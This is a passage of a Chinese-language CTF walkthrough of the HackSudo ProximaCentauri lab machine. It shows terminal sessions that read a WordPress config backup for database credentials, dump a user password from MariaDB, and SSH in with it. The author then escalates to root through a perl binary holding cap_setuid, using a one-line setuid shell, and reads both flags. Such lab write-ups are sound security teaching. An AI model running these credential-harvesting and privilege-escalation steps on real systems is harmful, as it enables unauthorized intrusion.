drwxr-xr-x 12 root root 4096 Jun 4 2021 ..
-rw-r--r-- 1 root root 40960 Jun 5 2021 alternatives.tar.0
-rw-r--r-- 1 root root 9762 Jun 5 2021 apt.extended_states.0
-rw-r--r-- 1 root root 666 Jun 4 2021 apt.extended_states.1.gz
-rw-r--r-- 1 root root 98 Jun 4 2021 dpkg.diversions.0
-rw-r--r-- 1 root root 172 Jun 4 2021 dpkg.statoverride.0
-rw-r--r-- 1 root root 351158 Jun 5 2021 dpkg.status.0
-rw------- 1 root root 704 Jun 4 2021 group.bak
-rw------- 1 root shadow 587 Jun 4 2021 gshadow.bak
-r--r--r-- 1 root root 2895 Jun 5 2021 mysql.bak
-rw------- 1 root root 1470 Jun 4 2021 passwd.bak
-rw------- 1 root shadow 969 Jun 4 2021 shadow.bak
www-data@ProximaCentauri:/var/backups$
www-data@ProximaCentauri:/var/backups$ cat mysql.bak
cat mysql.bak
<?php
/**
* The base configuration for WordPress
*
* The wp-config.php creation script uses this file during the installation.
* You don't have to use the web site, you can copy this file to "wp-config.php"
* and fill in the values.
*
* This file contains the following configurations:
*
* * MySQL settings
* * Secret keys
* * Database table prefix
* * ABSPATH
*
* @link https://wordpress.org/support/article/editing-wp-config-php/
*
* @package WordPress
*/
// ** MySQL settings - You can get this info from your web host ** //
/** The name of the database for WordPress */
define( 'DB_NAME', 'proximacentauri' );
/** MySQL database username */
define( 'DB_USER', 'alfauser' );
/** MySQL database password */
define( 'DB_PASSWORD', 'passw0rd' );
/** MySQL hostname */
define( 'DB_HOST', 'localhost' );
/** Database charset to use in creating database tables. */
define( 'DB_CHARSET', 'utf8' );
/** The database collate type. Don't change this if in doubt. */
define( 'DB_COLLATE', '' );
/**#@+
* Authentication unique keys and salts.
*
* Change these to different unique phrases! You can generate these using
* the {@link https://api.wordpress.org/secret-key/1.1/salt/ WordPress.org secret-key service}.
*
* You can change these at any point in time to invalidate all existing cookies.
* This will force all users to have to log in again.
*
* @since 2.6.0
*/
define( 'AUTH_KEY', 'put your unique phrase here' );
define( 'SECURE_AUTH_KEY', 'put your unique phrase here' );
define( 'LOGGED_IN_KEY', 'put your unique phrase here' );
define( 'NONCE_KEY', 'put your unique phrase here' );
define( 'AUTH_SALT', 'put your unique phrase here' );
define( 'SECURE_AUTH_SALT', 'put your unique phrase here' );
define( 'LOGGED_IN_SALT', 'put your unique phrase here' );
define( 'NONCE_SALT', 'put your unique phrase here' );
/**#@-*/
/**
* WordPress database table prefix.
*
* You can have multiple installations in one database if you give each
* a unique prefix. Only numbers, letters, and underscores please!
*/
$table_prefix = 'wp_';
/**
* For developers: WordPress debugging mode.
*
* Change this to true to enable the display of notices during development.
* It is strongly recommended that plugin and theme developers use WP_DEBUG
* in their development environments.
*
* For information on other constants that can be used for debugging,
* visit the documentation.
*
* @link https://wordpress.org/support/article/debugging-in-wordpress/
*/
define( 'WP_DEBUG', false );
/* Add any custom values between this line and the "stop editing" line. */
/* That's all, stop editing! Happy publishing. */
/** Absolute path to the WordPress directory. */
if ( ! defined( 'ABSPATH' ) ) {
define( 'ABSPATH', __DIR__ . '/' );
}
/** Sets up WordPress vars and included files. */
require_once ABSPATH . 'wp-settings.php';
www-data@ProximaCentauri:/var/backups$

3、获得数据库信息
mysql -h 127.0.0.1 -ualfauser -ppassw0rd
show databases;
use proximacentauri;
show tables;
select * from authors;
www-data@ProximaCentauri:/var/backups$ mysql -h 127.0.0.1 -ualfauser -ppassw0rd
<r/backups$ mysql -h 127.0.0.1 -ualfauser -ppassw0rd
Welcome to the MariaDB monitor. Commands end with ; or \g.
Your MariaDB connection id is 36
Server version: 10.3.27-MariaDB-0+deb10u1 Debian 10
Copyright (c) 2000, 2018, Oracle, MariaDB Corporation Ab and others.
Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.
MariaDB [(none)]> show databases;
show databases;
+--------------------+
| Database |
+--------------------+
| information_schema |
| mysql |
| performance_schema |
| proximacentauri |
+--------------------+
4 rows in set (0.011 sec)
MariaDB [(none)]>
MariaDB [(none)]> use proximacentauri;
use proximacentauri;
Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -A
Database changed
MariaDB [proximacentauri]>
MariaDB [proximacentauri]> show tables;
show tables;
+---------------------------+
| Tables_in_proximacentauri |
+---------------------------+
| authors |
+---------------------------+
1 row in set (0.000 sec)
MariaDB [proximacentauri]>
MariaDB [proximacentauri]> select * from authors;
select * from authors;
+------+---------+-----------------+---------------------+
| id | name | password | email |
+------+---------+-----------------+---------------------+
| 1 | proxima | alfacentauri123 | vishal@hacksudo.com |
+------+---------+-----------------+---------------------+
1 row in set (0.000 sec)
MariaDB [proximacentauri]>
切换成我们发现的数据库,读取数据库内信息,发现一组账户和密码信息:proxima/alfacentauri123
4、ssh登录
使用获得的账户信息:proxima/alfacentauri123,进行ssh连接,成功提权至proxima。并在当前目录下发现user.txt文件,读取该文件成功获得flag值。
ssh proxima@192.168.5.8
密码:alfacentauri123
┌──(root㉿kali)-[~]
└─# ssh proxima@192.168.5.8
** WARNING: connection is not using a post-quantum key exchange algorithm.
** This session may be vulnerable to "store now, decrypt later" attacks.
** The server may need to be upgraded. See https://openssh.com/pq.html
#m m # #
# # mmm mmm # m mmm m m mmm# mmm
#mmmm# " # #" " # m" # " # # #" "# #" "#
# # m"""# # #"# """m # # # # # #
# # "mm"# "#mm" # "m "mmm" "mm"# "#m## "#m#"
+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
www.hacksudo.com @blackwhole effect #vishal_waghmare @twitter#vishalhwaghmare
#==============================================================================#
#hey dear you might be survive due to blackwhole effect so try 2 get right path#
#------------------------------------------------------------------------------#
did you tried?cont1=^https://github.com/hacksudo/fog-hacksudo/blob/main/blackhole.lst^
proxima@192.168.5.8's password:
Linux ProximaCentauri 4.19.0-16-amd64 #1 SMP Debian 4.19.181-1 (2021-03-19) x86_64
The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.
Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Mon Jun 7 13:00:54 2021 from 192.168.43.217
\proxima@ProximaCentauri:~$ ls
alfaA alfaB proximaCentauriA proximaCentauriB user.txt
proxima@ProximaCentauri:~$
proxima@ProximaCentauri:~$ cat user.txt
,-.
___,---.__ /'|`\ __,---,___
,-' \` `-.____,-' | `-.____,-' // `-.
,' | ~'\ /`~ | `.
/ ___// `. ,' , , \___ \
| ,-' `-.__ _ | , __,-' `-. |
| / /\_ ` . | , _/\ \ |
\ | \ \`-.___ \ | / ___,-'/ / | /
\ \ | `._ `\\ | //' _,' | / /
`-.\ /' _ `---'' , . ``---' _ `\ /,-'
`` / \ ,='/ \`=. / \ ''
|__ /|\_,--.,-.--,--._/|\ __|
/ `./ \\`\ | | | /,//' \,' \
/ / ||--+--|--+-/-| \ \
| | /'\_\_\ | /_/_/`\ | |
\ \__, \_ `~' _/ .__/ /
`-._,-' `-._______,-' `-._,-'
user owned
www.hacksudo.com/contact
www.twitter.com/vishalhwaghmare
flag{8b64d2451b7a8f3fd17390f88ea35917}
proxima@ProximaCentauri:~$
5、查看下当前账户是否存在可以使用的特权命令
proxima@ProximaCentauri:~$ sudo -l
-bash: sudo: command not found
proxima@ProximaCentauri:~$
发现无法执行sudo权限。
6、查找可疑文件
find / -perm -4000 -type f 2>/dev/null
proxima@ProximaCentauri:~$ find / -perm -4000 -type f 2>/dev/null
/usr/bin/su
/usr/bin/mount
/usr/bin/umount
/usr/bin/gpasswd
/usr/bin/passwd
/usr/bin/chfn
/usr/bin/chsh
/usr/bin/newgrp
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/openssh/ssh-keysign
/usr/lib/eject/dmcrypt-get-device
proxima@ProximaCentauri:~$
未发现可以进行提权的文件。
7、信息搜集
getcap -r / 2>/dev/null
proxima@ProximaCentauri:~$ getcap -r / 2>/dev/null
/home/proxima/proximaCentauriA/perl = cap_setuid+ep
/usr/bin/ping = cap_net_raw+ep
proxima@ProximaCentauri:~$
发现一个:cap_setuid+ep。
8、提权
查找下perl的提权方式
/home/proxima/proximaCentauriA/perl -e 'use POSIX qw(setuid); POSIX::setuid(0); exec "/bin/sh";'
proxima@ProximaCentauri:~$ /home/proxima/proximaCentauriA/perl -e 'use POSIX qw(setuid); POSIX::setuid(0); exec "/bin/sh";'
# id
uid=0(root) gid=1001(proxima) groups=1001(proxima)
#
#
# whoami
root
#
#
成功获得root权限,获取flag。
# cd /root
#
# ls
note.txt root.txt
#
# cat root.txt
proxima centauri ----->
,:
,' |
/ :
--' /
\/ /:/
/ ://_\
__/ /
)'-. /
./ :\
/.' '
'/'
+
'
`.
.-"-
( |
. .-' '.
( (. )8:
.' / (_ )
_. :(. )8P `
. ( `-' ( `. .
. : ( .a8a)
/_`( "a `a. )"'
( (/ . ' )=='
( ( ) .8" +
(`'8a.( _( (
..-. `8P ) ` ) +
-' ( -ab: )
' _ ` (8P"Ya
_( ( )b -`. ) +
( 8) ( _.aP" _a \( \ *
+ )/ (8P (88 ) )
(a:f " `"`
you rooted this server
root flag{e2798af12a7a0f4f70b4d69efbc25f4d}
#
本文涉及的技术方法仅适用于 授权测试环境 或 合法 CTF 赛事。请勿在未授权的情况下对任何系统进行测试。安全之路,始于合规,终于责任。